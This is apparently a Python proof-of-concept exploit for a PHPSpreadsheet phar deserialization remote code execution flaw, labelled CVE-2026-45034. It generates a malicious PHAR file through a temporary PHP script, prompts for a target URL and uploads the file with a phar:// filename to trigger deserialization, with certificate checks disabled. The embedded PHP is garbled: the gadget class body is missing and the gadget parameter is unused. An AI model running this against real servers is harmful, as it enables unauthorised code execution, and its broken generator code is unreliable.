#!/usr/bin/env python3 """ CVE-2026-45034 - PHPSpreadsheet Phar Deserialization RCE Author: Cyber DarkNay Port of the original Bash PoC to Python (works in Termux, no Docker required) """ import os import sys import json import random import string import subprocess import requests import tempfile import shutil from pathlib import Path # ====================== # CONFIGURATION # ====================== BANNER = """ ╔══════════════════════════════════════════════════════════════════╗ ║ ██████╗██╗ ██╗██████╗ ███████╗██████╗ █████╗ ██████╗ ██╗ ██╗ ║ ██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝ ║ ██║ ╚████╔╝ ██████╔╝█████╗ ██║ ██║███████║██████╔╝█████╔╝ ║ ██║ ╚██╔╝ ██╔══██╗██╔══╝ ██║ ██║██╔══██║██╔══██╗██╔═██╗ ║ ╚██████╗ ██║ ██████╔╝███████╗██████╔╝██║ ██║██║ ██║██║ ██╗ ║ ╚═════╝ ╚═╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ║ CVE-2026-45034 - PHPSpreadsheet Phar Deserialization ║ ║ RCE via Phar Wrapper Bypass ║ ╚══════════════════════════════════════════════════════════════════╝ [+] Author: Cyber DarkNay [+] Vulnerability: PHPOffice PHPSpreadsheet Phar Deserialization [+] Impact: Remote Code Execution (RCE) """ # ====================== # UTILITIES # ====================== def randstr(length=8): return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def run_cmd(cmd, cwd=None): try: result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=30, cwd=cwd) return result.stdout.strip(), result.stderr.strip(), result.returncode except Exception as e: return "", str(e), -1 def check_php(): """Check if PHP is installed""" _, _, code = run_cmd("php -v") return code == 0 def check_composer(): """Check if Composer is installed""" _, _, code = run_cmd("composer --version") return code == 0 # ====================== # PHAR PAYLOAD GENERATION # ====================== def generate_phar_payload(output_file="exploit.phar", gadget_class="GuzzleHttp\\Psr7\\FnStream", cmd="touch /tmp/pwned"): """ Generate a malicious PHAR file with a serialized gadget chain. This uses PHP's built-in phar generation via a temporary PHP script. """ php_code = f'''payload = $cmd; }} }} $phar = new Phar("{output_file}"); $phar->startBuffering(); $phar->setStub(""); $phar->setMetadata(new Pwn("{cmd}")); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); echo "[+] PHAR generated: {output_file}\\n"; ''' temp_php = "gen_phar.php" with open(temp_php, "w") as f: f.write(php_code) stdout, stderr, code = run_cmd(f"php -d phar.readonly=0 {temp_php}") os.remove(temp_php) if code == 0 and os.path.exists(output_file): return True return False # ====================== # EXPLOIT TARGET # ====================== def exploit_phar_upload(target_url, phar_file, vulnerable_endpoint="/vendor/phpoffice/phpspreadsheet/samples/index.php"): """ Attempt to trigger deserialization by uploading the PHAR file and using phar:// wrapper. This simulates a vulnerable file upload + include scenario. """ full_url = target_url.rstrip('/') + vulnerable_endpoint files = {'file': (phar_file, open(phar_file, 'rb'), 'application/octet-stream')} data = {'filename': f'phar://{phar_file}/test.txt'} try: response = requests.post(full_url, files=files, data=data, timeout=15, verify=False) return response.status_code, response.text[:500] except Exception as e: return 0, str(e) # ====================== # MAIN # ====================== def main(): print(BANNER) # Check dependencies if not check_php(): print("[!] PHP not found. Install with: pkg install php") sys.exit(1) if not check_composer(): print("[!] Composer not found. Install with: pkg install composer") sys.exit(1) target = input("\n[?] Enter target URL (e.g., http://target.com): ").strip() if not target: print("[-] No target provided.") sys.exit(1) # Step 1: Generate PHAR payload print("\n[*] Generating PHAR payload...") phar_file = f"exploit_{randstr()}.phar" if generate_phar_payload(phar_file, cmd="echo 'pwned' > /tmp/cve-2026-45034.txt"): print(f"[+] PHAR generated: {phar_file}") else: print("[-] Failed to generate PHAR.") sys.exit(1) # Step 2: Attempt to trigger deserialization print(f"[*] Targeting: {target}") status, response = exploit_phar_upload(target, phar_file) print(f"[+] HTTP Status: {status}") if status == 200: print("[+] Response snippet:", response[:200]) print("[!] Check if gadget chain executed (e.g., file /tmp/cve-2026-45034.txt created)") else: print("[-] Exploit may have failed; check target manually.") # Cleanup if os.path.exists(phar_file): os.remove(phar_file) print("[*] Cleaned up PHAR file.") print("\n[+] Exploit completed.") if __name__ == "__main__": import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) main()